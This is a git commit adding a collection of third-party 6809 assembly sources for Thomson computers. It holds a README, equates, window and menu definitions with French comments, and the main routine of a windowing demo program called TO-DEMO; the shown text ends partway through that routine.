Add that collection of 3rdparty source I had lying on my disk for some time...
git-svn-id: svn://localhost/thomson@51 85ae3b6b-dc8f-4344-a89d-598714f2e4e5
diff --git a/code/3rdparty/README b/code/3rdparty/README
new file mode 100644
index 0000000..87921bf
--- /dev/null
+++ b/code/3rdparty/README
@@ -0,0 +1,9 @@
+These are sources for various Thomson stuff. I'm not sure who gathered them
+together, they were originally in 6809 language module format (non-ASCII source
+files). Tomix helped convert them to a more useful ASCII version.
+
+I tried to make some sense of what's in there and create some relevant
+subdirectories. I'm not sure how much of this can be compiled into something
+useable, but some of the sources can show useful tricks, anyway.
+
+Enjoy!
diff --git a/code/3rdparty/sources1-hmel/DEMO-B1.ASM b/code/3rdparty/sources1-hmel/DEMO-B1.ASM
new file mode 100644
index 0000000..be615a3
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-B1.ASM
@@ -0,0 +1,88 @@
+ TITLE TO-DEMO:S/PBANK1
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* S/P bank 1 *
+* *
+****************************************
+
+
+*=======================================
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*=======================================
+FENRAM EQU *
+*---------------------------------------
+ LDX #$1800
+ LDY #$7800
+BCPIF1 LDD ,X++
+ STD ,Y++
+ CMPX #$4000
+ BNE BCPIF1 ->
+ RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A car. à ecrire
+* Sortie: CY 0 si ok
+* 1 si erreur (fichier sera
+* fermé et détr.
+*=======================================
+
+ECRFIC PSHS B
+ LEAS -1,S
+ERRMEM SET 0
+*---------------------------------------
+ LDB #PRINT
+ JSR EXTRA
+ TSTB
+ BNE ECFIR erreur ->
+ ANDCC #$FE
+ LEAS 2,S
+ PULS B,PC ->>
+
+ECFIR STB ERRMEM,S
+
+ LDB #CLOSE # erreur PRINT
+ JSR EXTRA
+ LDB #KILL détruire
+ JSR EXTRA
+
+ LDB ERRMEM,S
+ JSR DOSERR
+ ORCC #$1
+ LEAS 1,S
+ PULS B,PC ->>
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A car. lu si ok
+* CY 0 si ok
+* 1 si pb -> erreur traitée
+* fichier fermé
+*=======================================
+
+LECFIC PSHS B
+*---------------------------------------
+ LDB #INPUT
+ JSR EXTRA
+ TSTB
+ BNE LEFIFR erreur ->
+ LDB #54 'input past end'
+ TST EOFFLG si eof !
+ BNE LEFIFR ->
+ LDA CARCOU
+ ANDCC #$FE
+ PULS B,PC ->>
+
+LEFIFR JSR DOSERR
+ LDB #CLOSE
+ JSR EXTRA
+ ORCC #1
+ PULS B,PC ->>
diff --git a/code/3rdparty/sources1-hmel/DEMO-CN.ASM b/code/3rdparty/sources1-hmel/DEMO-CN.ASM
new file mode 100644
index 0000000..4adbec7
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-CN.ASM
@@ -0,0 +1,452 @@
+ TITLE TO-GRAPH: constantes
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* constantes *
+* *
+****************************************
+
+****************************************
+* F E N E T R E S *
+****************************************
+
+* Fenêtre vide (pour activer une boucle
+* d'attente par FEN (avec déplacement
+* tortue de pointage sans zone optique
+* active !)
+*---------------------------------------
+
+FENVID FCB FSTOP
+
+* Fenêtre principale
+*---------------------------------------
+
+FENPRI FCB FLOCA,20,2,0,0
+ FCB FEDI
+ FCC \Ceciestl'\
+ FCB SS2,AIGU
+ FCC \ecrandefonddelad\
+ FCB SS2,AIGU
+ FCC \emo\
+ FCB RC,LF
+ FCC \Danscelui-ciiln'ya\
+ FCC \pasdezoneopti--que\
+ FCC \active !!!\
+ FCB 0
+ FCB FSTOP
+
+* Fenêtre de démonstration
+*---------------------------------------
+
+FENINF FCB FLOCF,0,0,16,23
+ FCB FCOULF,VERTCL
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,1,21
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FEDI,$1B,$4E
+ FCC \INFO\
+ FCB $1B,$4C,0
+
+ FCB FLOCF,3,1,10,21
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,4,1,1,21
+ FCB FEDI
+ FCC \TourPaletteBVR\
+ FCB 0
+
+* la définition du carreau ci-dessous
+* sert à disposer d'une méthode simple
+* (FENCH+FENFOND) pour changer le
+* contenu de ce carreaux sans en connai-
+* -tre la position ! De ce fait, le
+* poussoir associé restera toujours
+* INTERD !
+
+ FCB FLOCF,6,2,4,2
+ FCB FCOULF,PARME
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FPOUSS,'X,INTERD
+
+ FCB FLOCF,6,5,2,1
+ FCB FTOURE
+ FCB FTEXTE,'+,'-,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'T,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'U,OFF
+
+ FCB FLOCF,9,5,1,2
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,'Y,INTERD
+
+ FCB FLOCF,6,9,4,2
+ FCB FCOULF,ORANGE
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+
+ FCB FLOCF,6,12,2,1
+ FCB FTOURE
+ FCB FTEXTE,'+,'-,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'P,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'Q,OFF
+
+ FCB FLOCF,9,12,1,2
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,'Z,INTERD
+
+ FCB FLOCF,6,16,2,1
+ FCB FTOURE
+ FCB FTEXTE,'+,'-,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'B,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'C,OFF
+
+ FCB FLOCF,6,18,2,1
+ FCB FTOURE
+ FCB FTEXTE,'+,'-,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'V,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'W,OFF
+
+ FCB FLOCF,6,20,2,1
+ FCB FTOURE
+ FCB FTEXTE,'+,'-,0
+ FCB FLOCR,0,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'R,OFF
+ FCB FLOCR,1,0,1,1
+ FCB FTOURI
+ FCB FPOUSS,'S,OFF
+
+ FCB FLOCF,9,16,1,5
+ FCB FTOURE,FCADRE
+ FCB FEDI
+ FCC \--\
+ FCB 0
+ FCB FPOUSS,'H,INTERD
+
+ FCB FLOCF,11,2,1,4
+ FCB FEDI
+ FCC \Mode\
+ FCB 0
+ FCB FLOCR,0,5,1,14
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,'M,OFF
+
+ FCB FLOCF,14,1,1,21
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FTEXTE
+ FCC \Ok\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCR,0,5,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCR,0,13,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+* Fenêtre de démonstration 1
+*---------------------------------------
+
+FENDEM FCB FLOCF,0,0,21,25
+ FCB FCOULF,VERTCL
+ FCB FTRAME,FTOURI
+ FCB FCOULF,TRANSP
+ FCB FCOMF,FF,OFF
+
+ FCB FLOCF,1,1,9,23
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,2,2,1,23
+ FCB FEDI
+ FCC \SaisieTexte\
+ FCB 0
+ FCB FLOCR,0,13,1,8
+ FCB FTOURE,FCADRE
+* champ de saisie en texte
+* le code 130 servira à lire le
+* texte saisie
+ FCB FCZI,130,TEXTE
+
+ FCB FLOCF,4,2,1,23
+ FCB FEDI
+ FCC \SaisieHexa\
+ FCB 0
+ FCB FLOCR,0,17,1,4
+ FCB FTOURE,FCADRE
+* champ de saisie en hexa
+* le code 131 servira à lire le
+* texte saisie
+ FCB FCZI,131,HEXA
+
+ FCB FLOCF,6,2,1,23
+ FCB FEDI
+ FCC \SaisieD\
+ FCB SS2,AIGU
+ FCC \ecimale\
+ FCB 0
+ FCB FLOCR,0,17,1,4
+ FCB FTOURE,FCADRE
+* champ de saisie en décimal
+* le code 132 servira à lire le
+* texte saisie
+ FCB FCZI,132,DECIM
+
+ FCB FLOCF,8,2,1,23
+ FCB FEDI
+ FCC \Inverseur\
+ FCB 0
+ FCB FLOCR,0,17,1,1
+ FCB FTEXTE,BALISE,0
+* Inverseur
+* le code 133 servira à mani-
+* puler l'inverseur au clavier et
+* à en lire la valeur !!!
+ FCB FINV,133,OFF
+
+ FCB FLOCF,11,1,9,23
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,12,2,1,23
+ FCB FEDI
+ FCC \LireTexte\
+ FCB 0
+ FCB FLOCR,0,11,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,134,OFF
+
+ FCB FLOCF,14,2,1,23
+ FCB FEDI
+ FCC \LireHexa\
+ FCB 0
+ FCB FLOCR,0,11,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,135,OFF
+
+ FCB FLOCF,16,2,1,23
+ FCB FEDI
+ FCC \LireD\
+ FCB SS2,AIGU
+ FCC \ecim\
+ FCB 0
+ FCB FLOCR,0,11,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,136,OFF
+
+ FCB FLOCF,18,2,1,23
+ FCB FEDI
+ FCC \LireInv.\
+ FCB 0
+ FCB FLOCR,0,11,1,1
+ FCB FTEXTE,BALISE,0
+ FCB FPOUSS,137,OFF
+
+* champ pour visu des lectures
+* le code 140 servira à positionner
+* les éditions sans en connaitre
+* la position
+ FCB FLOCF,15,15,1,8
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,140,INTERD
+
+ FCB FSTOP
+
+* Menu déroulant
+*---------------------------------------
+
+FENMEN FCB FLOCF,0,0,11,18
+ FCB FCOULF,BLEUCI
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,9,1,10
+ FCB FEDI
+ FCC \bank\
+ FCB 0
+ FCB FLOCF,1,14,1,2
+ FCB FCOULF,BLANC
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOULF,TRANSP
+ FCB FLOCF,3,1,1,16
+ FCB FPOUSS,'D,OFF
+ FCB FEDI
+ FCC \DEMONSTRATION\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,'G,OFF
+ FCB FEDI
+ FCC \GRILLE\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,'F,OFF
+ FCB FEDI
+ FCC \FICHIERS\
+ FCB 0
+ FCB FLOCR,2,0,1,16
+ FCB FPOUSS,'Q,OFF
+ FCB FEDI
+ FCC \QUITTER\
+ FCB 0
+ FCB FSTOP
+
+* Fenêtre titre
+*---------------------------------------
+
+FENTIT FCB FLOCF,0,0,6,19 titre
+ FCB FCOULF,ORANGE
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCR,1,2,20,20
+ FCB FEDI
+ FCC \TO-DEMO\
+ FCB 0
+ FCB FLOCR,2,4,20,20
+ FCB FEDI
+ FCC \HMEL-92V1.0\
+ FCB 0
+ FCB FSTOP
+
+* Fenêtre gestion fichier
+*---------------------------------------
+
+FENFIC FCB FLOCF,0,0,19,20
+ FCB FCOULF,BLEUCI
+ FCB FTOURE,FCADRE,FFOND
+ FCB FCOMF,FF,ON
+ FCB FLOCF,1,1,1,14
+ FCB FPOUSS,'P,OFF
+ FCB FEDI
+ FCC \Pr\
+ FCB SS2,$42
+ FCC \eciserunit\
+ FCB SS2,$42,$65
+ FCB 0
+ FCB FLOCR,2,0,1,14
+ FCB FPOUSS,'I,OFF
+ FCB FEDI
+ FCC \Initialiser\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,'C,OFF
+ FCB FEDI
+ FCC \Catalogue\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,'R,OFF
+ FCB FEDI
+ FCC \Renommerfichier\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,'S,OFF
+ FCB FEDI
+ FCC \Supprimerfichier\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,'D,OFF
+ FCB FEDI
+ FCC \Dupliquerfichier\
+ FCB 0
+ FCB FLOCR,3,0,1,18
+ FCB FPOUSS,'L,OFF
+ FCB FEDI
+ FCC \Lire\
+ FCB SS2,$42
+ FCC \ecran\
+ FCB 0
+ FCB FLOCR,2,0,1,18
+ FCB FPOUSS,'E,OFF
+ FCB FEDI
+ FCC \Ecrire\
+ FCB SS2,$42
+ FCC \ecran\
+ FCB 0
+ FCB FCOULF,BLANC
+ FCB FLOCF,1,16,2,3
+ FCB FFOND,FTOURE,FCADRE
+ FCB FSTOP
+
+* Mémorisation palette à l'appel
+*---------------------------------------
+
+TFMEMO FCB $FF
+TMEMO FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $FFFF,$FFFF,$FFFF,$FFFF
+
+* Palette standard
+*---------------------------------------
+
+PALDEF FDB 0000,0015,0240,0255
+ FDB 3840,3855,4080,4095
+ FDB 1911,0826,0931,0938
+ FDB 2611,2618,3815,0123
+
+* Mnémo des modes graphiques
+* octet 1 : mode hard ($FF = fin !)
+* octet 2 : mode basic
+* 15 oct : mnémo sur 14 car.
+*---------------------------------------
+
+TMNGR FCB $00,0
+ FCC \TO7-70\
+ FCB 0
+ FCB $80,1
+ FCC \80colonnes \
+ FCB 0
+ FCB $40,3
+ FCC \Bitmap 16 \
+ FCB 0
+ FCB $20,11
+ FCC \Tripleoverlay\
+ FCB 0
+ FCB $08,7
+ FCC \Doubleoverlay\
+ FCB 0
+ FCB $04,5
+ FCC \Page2\
+ FCB 0
+ FCB $02,4
+ FCC \Page1\
+ FCB 0
+ FCB $01,2
+ FCC \Bitmap 4 \
+ FCB 0
+ FCB $FF
+
+****************************************
+* M E S S A G E S *
+****************************************
+
+MLIRE FCB ESC,$4E
+ FCC \LIRE\
+ FCB ESC,$4C,0
+MOUT FCC \MEMOIREinsuffisante\
+ FCB 0
+MVFICH FCB ESC,$4E,HT,SS2,$2E
+ FCC \FICHIER\
+ FCB ESC,$4C,0
+MCOMAL FCC \To-demo\
+ FCB 0
+MON FCC \ON\
+ FCB 0
+MOFF FCC \OFF\
+ FCB 0
diff --git a/code/3rdparty/sources1-hmel/DEMO-EQ.ASM b/code/3rdparty/sources1-hmel/DEMO-EQ.ASM
new file mode 100644
index 0000000..aeba092
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-EQ.ASM
@@ -0,0 +1,240 @@
+ TITLE TO-PHOTO: Equates
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-PHOTO *
+* *
+* Equates *
+* *
+****************************************
+
+
+* Definition des points d'entree dans
+* le moniteur TO9
+*-------------------------------------
+
+STATUS EQU $6019 état machine
+RANG EQU $601B rangee courante
+COLN EQU $6020 colonne courante
+IRQPT EQU $6021 vecteur IRQ
+FIRQPT EQU $6023 vecteur FIRQ
+TIMEPT EQU $6027 vecteur IT timer
+RSOPC EQU $602B
+USERAF EQU $602D pt car. user
+SWIPT EQU $602F vecteur SWI1
+FORME EQU $6038
+ATRANG EQU $6039 attrib. courants
+ATRSCR EQU $603A ... écran
+COLOUR EQU $603B couleur cour.
+TELETL EQU $603C mode page
+CHDRAW EQU $6041 tracé point ou car
+BAUDS EQU $6044
+NOMBRE EQU $6046
+MAXBK EQU $6047 dernier bank libre
+DKOPC EQU $6048 code op. DKCO
+DKDRV EQU $6049 drive courant
+DKNUM EQU $604D entrelacement
+SAVCOL EQU $605C
+REACLV EQU $605E pt buf clav
+SCRMOD EQU $605F mode écran
+WRICLV EQU $6067 pt buf clav
+BUFCLV EQU $6079 pt buffer clavier
+SIZCLV EQU $607B lg buffer clavier
+RUNFLG EQU $607F flag démarr. auto
+IDSAUT EQU $6082 buffer clav. std.
+RESETP EQU $6088 init. periph.
+PTGENE EQU $60CF géné. car.
+TSTRST EQU $60FE flag démarrage
+
+VALTYP EQU $6105 calculs
+FACMO EQU $6150
+FACLO EQU $6151
+ARGMO EQU $615B
+ARGLO EQU $615C
+DEBZON EQU $616B
+FINZON EQU $616E
+EOFFLG EQU $6178
+NAMSEC EQU $618E
+NAMSLT EQU $618F
+CARCOU EQU $6196
+SECBUF EQU $6197
+FATPTR EQU $6199
+COULGR EQU $619F couleur graphique
+TRATYP EQU $61A0 type tracé
+XXXXXX EQU $61A1 curseur graphique
+YYYYYY EQU $61A3 .
+XL EQU $61A5 marges graphiques
+YB EQU $61A7
+XR EQU $61A9
+YT EQU $61AB
+X0COD EQU $61D6
+Y0COD EQU $61D7
+X1COD EQU $61D8
+Y1COD EQU $61D9
+PASSCD EQU $61DB
+LSTBYT EQU $61DC
+FILFLG EQU $61EF flag remplissage
+AXEH EQU $61F1 rayons ellipses
+AXEV EQU $61F0
+CAMFLG EQU $61F2
+
+PUTFLG EQU $6249 mode cod/decod ima
+FILMOD EQU $624B
+FILTYP EQU $624C
+ASCFLG EQU $624D
+FILNAM EQU $624F nom fichier
+OPTBUF EQU $625A
+MACP EQU $627D pt motif rempliss.
+WITH EQU $6288 type tracé
+
+
+DRA EQU $E7CC registres 6821
+DDRA EQU $E7CC
+CRA EQU $E7CE manettes et son
+
+BANKC EQU $E7E5 gate commut bank
+
+SIOTRN EQU $E7E8 reg. TD/RD ACIA
+SIOSTA EQU $E7E9 reg. état ...
+SIOCMD EQU $E7EA reg. comm ...
+
+PUTC EQU $E803 edition ecran
+INITC EQU $E800 init ecran
+GETC EQU $E806 lecture clavier
+KTST EQU $E809 test clavier
+DRAW EQU $E80C ecriture trait
+PLOT EQU $E80F ecriture point
+RSCO EQU $E812 e/s
+GETL EQU $E818 lect souris
+LPIN EQU $E81B lect touche souris
+GETP EQU $E821 lect point graphi.
+GETS EQU $E824 lect écran
+DKCO EQU $E82A accès disquette
+MENU EQU $E82D retour TO9
+KBIN EQU $E830 clig. curs. IT
+SETP EQU $EC00 definition couleur
+COMS EQU $EC03 appel sur ROM
+EXTRA EQU $EC0C extra. moniteur
+RESETC EQU 0 .
+RESETW EQU 1 .
+FCBINI EQU 2 .
+OPEN EQU 3 .
+PRINT EQU 4 .
+INPUT EQU 5 .
+CLOSE EQU 6 .
+DIR0 EQU 8 .
+KILL EQU 14 .
+ERRMSG EQU 20 .
+CIRCLE EQU 24 .
+PSETXY EQU 25 .
+LINE EQU 26 .
+BOX EQU 27 .
+CHOIX EQU 28 .
+PAINT EQU 29 .
+MIG EQU 30 .
+SHOW EQU 33 .
+MOVE EQU 38 .
+INITOR EQU 39 .
+CMPTOR EQU 40 .
+SGN EQU 41 .
+SQR EQU 44 .
+FRCTYP EQU 50 .
+SUBGO EQU 55 .
+MULTGO EQU 56 .
+DIVGO EQU 57 .
+MOVFM EQU 62 .
+MOVMF EQU 63 .
+MOVAF EQU 64 .
+EXTFIN EQU 65 .
+CODE EQU 69 .
+
+SQI EQU $10 accès fichier
+SQO EQU $20
+
+
+* Equates MIG
+*---------------------------------------
+
+STOP EQU 0
+ABS EQU 5
+REL EQU 6
+LFCUR EQU 7
+FCUR EQU 8
+BOITE EQU 14
+ROND EQU 17
+
+* Equates caractères
+*---------------------------------------
+
+SOH EQU $01
+EOT EQU $04
+ACK EQU $06
+BS EQU $08 codes ASCII ctrl
+HT EQU $09
+LF EQU $0A
+VT EQU $0B
+FF EQU $0C
+RC EQU $0D
+NACK EQU $15
+SS2 EQU $16
+CAN EQU $18
+ESC EQU $1B
+INS EQU $1C
+EFF EQU $1D
+RS EQU $1E
+US EQU $1F
+SP EQU $20
+GRAVE EQU $41
+AIGU EQU $42
+CIRCON EQU $43
+DEL EQU $7F
+
+
+* Définition des bank RAM utilisées
+*---------------------------------------
+
+BKMANO EQU 2 RAM manoeuvre
+* (variable)
+PBKPIL EQU 3 Pile fenêtre
+DBKPIL EQU 6
+PBKPEL EQU 7 pellicule
+
+* Déplacements sur RAM
+*---------------------------------------
+
+ ORG $6800
+
+PILE EQU *-1 pile soft
+
+PAGE0 RMB 256 pour registres
+* rapides !!!
+
+ZONFEN RMB 1080 zone fenêtrage
+
+REGCC RMB 1 pile (/U) des
+REGA RMB 1 param FEN
+REGB RMB 1
+REGX RMB 2
+REGY RMB 2
+PILFEN EQU *
+
+PALETE RMB 16*2 palette courante
+TOUR RMB 1
+MODVID RMB 1
+
+DESCOU RMB 8 fichier courant
+
+* Buffers
+*---------------------------------------
+
+BUF RMB 128 buffer manoeuvre
+
+* Zone manoeuvre
+* utilise tout le bank RAM
+*---------------------------------------
+
+ZONTRA EQU $A000
+LGZTRA EQU $E000-ZONTRA
+FINTRA EQU $DFFF
diff --git a/code/3rdparty/sources1-hmel/DEMO-PR.ASM b/code/3rdparty/sources1-hmel/DEMO-PR.ASM
new file mode 100644
index 0000000..06e8d9d
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-PR.ASM
@@ -0,0 +1,421 @@
+ TITLE TO-DEMO: Programme princ.
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-DEMO *
+* *
+* Programme principal *
+* *
+* - Affichage d'un titre *
+* - Attente action clavier ou souris *
+* pour afficher un menu en POP-UP *
+* - selon ce menu, *
+* Arret *
+* Menu de gestion fichier *
+* Ecran de démonstration de *
+* poussoir 'balise' *
+* poussoir 'zone' *
+* poussoir 'rédéfinissable' *
+* inverseur 'balise' *
+* inverseur 'zone' *
+* champ de saisie numérique *
+* champ de saisie hexa décimal *
+* *
+****************************************
+
+DEBUT EQU *
+
+* Initialisations
+*---------------------------------------
+
+* Pile et DP
+ LDS #PILE
+ LDD #PAGE0
+ TFR A,DP
+
+* Copie des S/P fenêtrage vers RAM
+ LDU #FENRAM
+ JSR COMBK2
+
+* Vérification RAM disponible
+* Ici on suppose un minimum de 6 bank
+* - 1 de manoeuvre
+* - 4 pour l'empilement des fenetres
+* - 1 pour l'application
+
+ LDA MAXBK
+ DECA ->nb bank disp.
+ CMPA #6
+ BGE OKRAM ->
+ LDB #$1B 'Out of memory'
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+ LDB #FF
+ JSR PUTC
+ LDX #MOUT
+BOUT LDB ,X+
+ BEQ BOUT1
+ JSR PUTC
+ BRA BOUT ->
+BOUT1 JSR GETC
+ TSTB
+ BEQ BOUT1 ->
+ JMP MENU ->>>>>>
+OKRAM EQU *
+
+* Init. extra moniteur pour turbo-disq
+ LDB #RESETC
+ JSR EXTRA
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
+ LDD #$7000
+ STD SECBUF
+ ADDD #256
+ STD FATPTR
+ LDA #5
+ LDB #166
+ MUL
+ ADDD FATPTR
+ TFR D,X
+ LDY #5
+ LDA #2
+ LDB #FCBINI
+ JSR EXTRA
+
+ LDX #DESCOU fichier courant
+ LDD #$2020
+BRZDC STD ,X++
+ CMPX #DESCOU+8
+ BNE BRZDC ->
+
+* Mémorisation de la palette si non
+* déja fait ! Ceci est un exemple de
+* mémorisation de données dans la pseudo
+* cartouche elle meme !
+ LDA TFMEMO
+ CMPA #$FF
+ LBNE SUIXY0 ->
+
+ CLR $E7E4
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+
+ CLR TFMEMO
+ LDU #TMEMO
+ CLRA
+BOULNU LDX #$FFFF
+ LDY #0
+ JSR SETP
+ STX ,U++
+ INCA
+ CMPA #16
+ BNE BOULNU ->
+
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+SUIXY0 EQU *
+
+* Bank RAM
+ LDA #BKMANO
+ STA BANKC
+
+* Initialisation propre à l'application!
+
+ LDA #GRIS
+ STA TOUR
+ CLR MODVID
+
+ LDB #32
+ LDX #PALDEF
+ LDY #PALETE
+BPALMA LDA ,X+
+ STA ,Y+
+ DECB
+ BNE BPALMA ->
+
+ CLRA palette défaut !
+ COMA
+ LDX #PALDEF
+ JSR SETP
+
+* Fenêtrage
+ LDB #$1B mode TO7
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+
+ LDX #ZONFEN
+ LDA #PBKPIL
+ LDB #DBKPIL
+ TFR D,U
+ LDA #NOIR
+ LDB #GRIS
+ JSR FENINI
+
+* Activation Fenêtre principale
+* C'est le fond de tout les empilements
+* ultérieurs. Comme c'est le premier
+* il ne faut évidemment pas faire
+* FENOUV qui sauvegarde avant d'affiche
+*---------------------------------------
+
+ LDX #FENPRI
+ LDD #0
+ JSR FENRPL
+
+* Visualisation du titre
+* pendant un petit moment ...
+*---------------------------------------
+
+ LDX #FENTIT Titre
+ LDD #$0606
+ JSR FENOUV
+
+ JSR FENACT
+
+ LDU #400
+EXEC0 JSR FEN
+ BCS EXEC00 ->
+ TSTB
+ BNE EXEC00 ->
+ LEAU -1,U
+ CMPU #0
+ BNE EXEC0 ->
+
+EXEC00 CLRB
+ JSR FENFER
+
+* La fenetre que nous activons mainte
+* nant n'est autre que la fenetre
+* principale puisque la fenetre titre a
+* ete refermee !!!
+
+EXEC01 JSR FENACT
+
+* Attente principale
+* d'une saisie clavier ou souris
+* avec déplacement souris et utilisation
+* du S/P local FENPOP a la place de
+* l'appel direct à FEN pour pouvoir
+* visualiser le menu suivant sous la
+* tortue de pointage !!!
+*---------------------------------------
+
+EXEC1 JSR FENPOP
+ TSTB
+ BEQ EXEC2 ->
+ LBRA MENDEM ->
+
+EXEC2 LDA REGCC #Etat pointage
+ TFR A,CC
+ BCC EXEC1 pas clic ->
+ LBRA MENDEM ->
+
+
+*---------------------------------------
+* Demande de menu
+*---------------------------------------
+
+MENDEM EQU * demande menu
+
+* Affichage d'un menu déroulant
+* POPUP est utilise pour positionner
+* le menu en fonction de sa taille
+* et de la position souris !
+
+ LDX #FENMEN Menu
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+* Ici on affiche dynamiquement une info
+* sur la fenetre
+
+ CLRA
+ LDB BANKC
+ LDX #BUF
+ JSR BINDCG
+ LDD #$010E
+ LDY #$0102
+ JSR FENLOF
+ JSR FENEDI
+
+* Ici on active la gestion du menu !
+
+MENU0 JSR FENACT
+
+* Ici est la boucle d'attente du menu
+
+MENU1 JSR FENPOP
+MENU2 TSTB
+ BEQ MENU1 ->
+ CMPB #'D
+ LBEQ XDEMO ->
+ CMPB #'G
+ LBEQ XGRIL ->
+ CMPB #'F
+ LBEQ XFICH ->
+ CMPB #'Q
+ LBEQ QUIPHO ->
+ CMPB #FF
+ LBNE MENU1 ->
+
+* Ici on décide de remonter d'un niveau
+* en fermant la fenetre
+* ce qui signifie: en restaurant l'ecran
+* memorise !
+* Dans la foulée, on réactive cette
+* fenetre sans meme avoir a en connaitre
+* le fonctionnement !
+
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ LBRA EXEC1 visu principale>
+
+* Affichage d'une fenetre de demonstra
+* tion
+* Nb: le traitement qui exploite cette
+* fenetre peut organiser un retour
+* de plusieurs niveau au niveau de
+* l'affichage...
+* Le test en sortie de procedure
+* permet de synchroniser le code
+* sur la fenetre restauree
+*---------------------------------------
+XDEMO EQU *
+ JSR XXDEMO
+ LBNE EXEC1 ->
+ LBRA MENU0 ->
+
+* Affichage d'une fenetre de demonstra
+* tion pour une grille de saisie
+*---------------------------------------
+XGRIL EQU *
+ JSR XXGRIL
+ LBRA MENU0 ->
+
+* Sélection FICHIER
+*---------------------------------------
+XFICH EQU *
+ JSR MENFIC
+ LBNE EXEC1 ->
+ LBRA MENU0 ->
+
+* Quitter
+*---------------------------------------
+QUIPHO EQU *
+ LBSR FENCH
+ LBSR FENIVD
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDD REGY a cause clou !
+ CMPD #32
+ BGE QUIPH0 ->
+ ADDD #32
+ STD REGY
+QUIPH0 LDA #10
+ LDB #22
+ JSR POPUP
+ LBSR TBREAK
+ BCS FINGR ->
+ LDB #$51
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA MENU0 ->
+
+* Nettoyages divers
+*---------------------------------------
+
+* Fenêtrage
+FINGR JSR FENFIN
+
+* Attributs de visu.
+ LDB #ESC 40 col
+ JSR PUTC
+ LDB #$5A
+ JSR PUTC
+
+ CLRA restaure palette
+ COMA
+ LDX #TMEMO (éventuellement
+* modifiée par
+ JSR SETP appli.)
+
+ JMP MENU ->>>>>>>
+
+
+*=======================================
+* S/P FEN avec mémo des param en pseudo
+* registre
+*=======================================
+
+FENPOP PSHS U
+ LDU #PILFEN mémo retour FEN
+ JSR FEN
+ PSHU CC,D,X,Y
+ PULS U,PC ->>
+
+
+*=======================================
+* S/P préparation d'une ouverture de
+* fenètre en pop up
+*
+* Entrée: A : hauteur cadre
+* B : largeur cadre
+* Sortie: A : coord vert.
+* B : coord horz.
+*=======================================
+
+POPUP PSHS D
+ LEAS -2,S
+MAXH SET 0
+MAXL SET 1
+PA SET 2
+PB SET 3
+*---------------------------------------
+
+ LDA #24
+ SUBA PA,S
+ STA MAXH,S
+ LDA #39
+ SUBA PB,S
+ STA MAXL,S
+
+ LDB REGY+1
+ LSRB
+ LSRB
+ LSRB
+ LDA MAXH,S
+ CMPB MAXH,S
+ BLE POPUP0 ->
+ TFR A,B
